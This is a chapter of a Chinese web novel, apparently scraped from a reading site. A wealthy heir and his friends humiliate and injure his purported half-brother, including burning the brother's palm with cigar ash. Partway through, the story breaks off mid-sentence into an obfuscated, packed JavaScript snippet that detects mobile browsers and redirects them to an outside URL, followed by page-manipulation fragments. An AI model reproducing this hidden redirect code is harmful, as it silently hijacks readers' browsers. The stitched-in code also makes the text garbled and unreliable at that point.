3. 哥哥对我最好了(三)
作品:《败类反派总在怀孕[快穿]》 或许是楼龚海给楼臣的压力太大,他的烟瘾比在场的所有人都重,路照和黎绣韵都是亲眼看过的。
他发病时就和失去心智一样,乱摔乱砸,谁的话都听不下。
现在楼臣说要戒烟,他们觉得是天方夜谭。
黎绣韵见状啧一声应和,“楼臣哥哥做得对,早就该戒掉了。”
另外一人惊奇地猜测,“不会是被新来的弟弟刺激到,要当三好青年了吧。”
几人闻言都笑起来,他们都知道了周述生的情况,贫穷但坚强自立的好学生,正直热心有能力,在学校广受赞扬。
路照眉头一挑,盯着楼臣又冷又白的脸,和紧绷着轻颤的肩颈,走到他旁边坐下,安抚道,“你怕他干什么,再说烟又不是一时半会儿就能戒的,别这么折磨自己……”
敲门声响起,服务生推门,“先生,是这一间。”随后低眉顺眼出去。
一道身影走进,在场几人都抬起头,黎绣韵也转过身。
半个小时前周述生收到一条消息,说楼臣有事找他谈,地点他没有听说过,查询过后才知道是一个私人会所,出入其中的人非富即贵。
昨天楼臣好好的突然翻脸骂他,他奇怪的同时又觉得……理所当然,毕竟没人会喜欢自己父亲的私生子,还愿意把自己手里的东西让出去。
两个人的身份摆在那里,楼臣讨厌他说得过去。
他不想和楼臣因为利益纠纷闹得六亲不认,便也想过来解释清楚。
视线越过离开的服务生,他看到幽暗环境下,楼臣坐在侧面沙发上,周围烟雾缭绕,传来一阵微苦的呛人气息。
一个戴着玉扳指的人,坐的距离楼臣很近,以他的视角看几乎挨在一起。对方抬手,把比手指还长还粗的褐色雪茄送到楼臣唇边,脸上哄人的笑格外扎眼。
楼臣注意到他,抬手挡开路照,不轻不重地提醒,“你的客人来了。”
路照被打扰,笑意淡下去,对周述生点了下跟前示意,“过来啊,没看你哥在这儿。”
周述生走到他们面前,隔着大约一米问,“找我有什么事。”
“你急什么。”路照瞥了楼臣一眼,往沙发上一仰,吸着烟吐了口气说,“急着回去写作业啊。”
一股浓烟逸散,更呛人了。周述生别过脸,用拳头抵在面前,听到周围不善的笑声。
系统温柔的声音冒出来,【友情提示,长期吸烟和吸入二手烟容易造成不孕不育,有概率引起胎儿畸形,请宿主注意身体健康。】
这部分人文关怀提示语不是楼臣设计的,他当初就认为很鸡肋,现在看来更是烦上加烦,反而弄得他想把自己泡在烟里。
他略微抬起眼,嗓音还有些哑,“方正信费尽心思把你送到我手上,还让我带你进楼家,他打的什么算盘。”
“他只是想帮我认亲。”周述生回答。
楼臣轻笑,嘴角升起一丝嘲讽,“是帮你,还是帮你妈。”
周述生目光一顿,“他们是认识,但和我,和楼家的事都没有关系。”沉默过后他补充,“我们只是想拿到应得的东西,你没必要把我当成敌人。”
楼臣像是听到什么好笑的事,面容在阴暗交错间显出几分鬼魅,“谁把你当敌人了,你不要想太多。”
周述生垂了下眼,闷着声说,“方叔叔说明天去遗产公证,既然你没意见,我就先走了。”
“嗯?”
楼臣拧了下眉侧耳,表情不似作假,“你长得太高了,我听不清。”
“我说……”周述生放大音量还要开口,就听楼臣悠悠道,“不如你跪下来,慢慢讲。”
房间里一片寂静,周述生对上那双冷得像深潭的黑眸,两侧的手下意识收紧。
路照畅快大笑起来,帮腔似的问他,“你哥都发话了,你不听啊。”
见他不动作,路照望向屋里另外几人,“没听到我们楼臣说吗,要弟弟跪着讲,他站得太直了跪不下,你们还不帮帮忙。”
几人反应过来,从四处靠近围在周述生身边,“请吧。”
周述生没有动作,他们便按住他的手臂肩膀往下压,周述生反手推开,他们也火了,一股脑动起手来。一团乱后,几人被打得鼻青脸肿,狼狈倒在茶几和地上,捂着伤口嘶气。
黎绣韵被场面吓到,站在不动如山的楼臣和路照身后,“你们让他们先别闹了。”
“蠢货。”路照眯着眼叹息,高高翘起的腿放下,单手拎起旁边一瓶没开封的香槟,走到周述生背后,对着头狠狠砸过去。
周述生身形晃了晃,揪着一个人衣领的手松开,转身时耳朵上方径直淌下一串血。
他被路照拽过来面对楼臣,硬生生压着一条腿跪在地上,视野一片眩晕。
光影重叠间,楼臣那张清俊若桃李的脸向他靠近,下颌微微扬起,满眼的轻蔑与傲慢。
周述生用力地眨了下眼,听到楼臣说,“据说手相能看出一个人的命,把你的手举起来。”
不知怎么的,他挣扎片刻,缓缓抬起手臂,展开掌心。
楼臣却没有看一眼,而是取走路照手中吸了大半的雪茄,火星明灭,有零星的火点掉落。
周述生眼睁睁看着楼臣,把积攒的厚重烟灰,一点点按到自己掌心。
灼烧的痛意后知后觉传来,直到烟灰全部抵在他手中,雪茄也熄灭,他手臂不由自主抖着,双目猩红。
楼臣望着他的眼睛轻声说,“看不到了。”
几秒后他要撤回手,周述生浓深的眉眼微动,竟然猛地一把攥住他的手腕。
带着烟灰的掌心磐石一般箍在楼臣腕根,那是皮肤最薄,血管最密集的地方。
灼热的烫感蔓延,楼臣心头一跳,下意识看向他,有掉落的灰在空气中浮动。
周述生握得太紧,导致他的脉搏格外清晰。
【当前好孕值:65】
楼臣莫名松了口气,折腾这么久终于掉了,他差点以为周述生是喜欢被折磨侮辱。
他很满意,以至于手腕还被烫着都没太在意,反而是路照急了,呼喝着抓住周述生叫他放开,还攥起拳头打了他一拳。
楼臣抬手制止他,很真诚地问周述生,“还想跟我回家吗?”
周述生眉骨高挺,眸光压在阴影里,他用力推开楼臣,站起身时摁着路照给了两拳,转身用衣服抹了下自己脸上的血,大步走出门。
路照嘶声捂着嘴角,又坐回到楼臣旁边,抓过他的手臂看,白皙皮肉上烫红了一大片,还沾着不少烟灰。
“他奶奶的……”路照骂道,冲外面喊,“拿烫伤药来。”
楼臣不经意收回手,用袖子遮盖住,“没事。”
后面的黎绣韵难言地开口,“楼臣哥哥,我们是不是太过分了,把他赶走不就好了。”
“你怎么胳膊肘往外拐?”路照不满。
“绣韵。”楼臣轻声开口,“你知道吗,他不是我爸亲生的,他和方正信联手骗我的家产。”
“什么?”两人脸色都
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375335|200072||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
变了。
不只是他们,葬礼上的人见楼龚海那么认真,为了周述生不惜把自己早就离婚的老底揭出来,都以为绝对是私生子没跑了,现在听楼臣这么说,大为震惊。
“方正信和他妈早就认识,为了治她的病,惦记上了楼家。”
楼臣平静地说着,昨天他不止忙着工作,还安排助理去收集证据,确定方正信早年帮周锦打过官司,在她生病时还去看望过。这些都发生在楼龚海立遗嘱之前。
只要把这些交上去,就能证明楼龚海有被诈骗的嫌疑,足够他把遗嘱公证拖延下来。
黎绣韵转变了态度,同情道,“原来是这样,楼臣哥哥,你有哪里需要帮忙就告诉我们。”
路照也沉着脸点头。
明大机械专业男生宿舍,周述生开门进来,径直走向阳台,坐在书桌前的同学瞥到他,惊讶抬头,“咦,你脖子上怎么有血!”
“没什么。”周述生闷头进入卫生间,在水池里洗手,洗掉残余的烟灰,掌心露出一个狰狞的圆形烫疤,肉已经红肿变硬,凉水流过一阵钝痛。
他抬头看镜子,头上的血有些滑到了脖颈。
楼臣原来真的是这副样子,残忍又高高在上,根本不把别人当成人。
可是想起那双漂亮的眼睛,他还心存奢望……万一呢,如果不涉及到利益纠葛,他们是不是有可能好好相处,毕竟他很快,又要只剩自己了。
衣服里的手机震动,方正信发来消息。
【小周,明天记得带好材料,早点去公证处。】
几分钟后,周述生回复,【我不想要遗产了,我妈的治疗费我可以自己挣。】
方正信很快发来,【你疯了吗,那么大笔遗产是你说不要就不要的?】
他大约有所察觉,紧接着问道,【发生了什么?楼臣跟你说什么了?你不要相信他。】
【你妈现在正是需要钱的时候,靠你是不可能维持住的,你要为了她着想。】
过了一会儿,他发来一张照片,画面里的女人苍白清瘦,无知无觉地躺在床上。
【明天公证完,把遗产拿到手,你来看看她吧。】
周述生把酒精洒在纸巾上,覆盖头上的伤,【知道了。】
第二天楼臣很早就醒了,他不急不慢地吃早饭,处理工作,从换衣间选衣服。
原主对外的形象是清朗高雅的,所以浅色系衣装很多,他不喜欢,便挑出为数不多的深色衣服来。
等到方正信给助理打电话来催,他才出了门。
周述生坐在公证处的椅子上,方正信来回踱步,“楼臣怎么还不来,难道是在搞什么鬼。”
他看向周述生,忽然意识到什么,“你这两天没在楼家?”否则为什么没有和楼臣一起来。
周述生摇头,“我学校有事,回宿舍了。”
方正信懊恼叹气,“你不应该走的,就怕楼臣找借口不让你回去。”
周述生低了下嘴角,楼臣根本就没让他进过家门。
“方叔,我爸在世时那么相信你,你现在,也算是报答他了。”一道温温和和,风清月朗的嗓音响起,周述生抬头看向对面。
楼臣从厅外大门走进来,他穿着宽松的藏蓝色毛衣外衫,里面是一件白衬衣。深色映衬,显得他露在外面的皮肤格外白。
晨时的阳光倾泻,给他镀上一层又暖又亮的光,远远看去整个人毛茸茸的。
更别提,他脸上是和昨天完全不同的笑意,皎洁剔透如婵月。

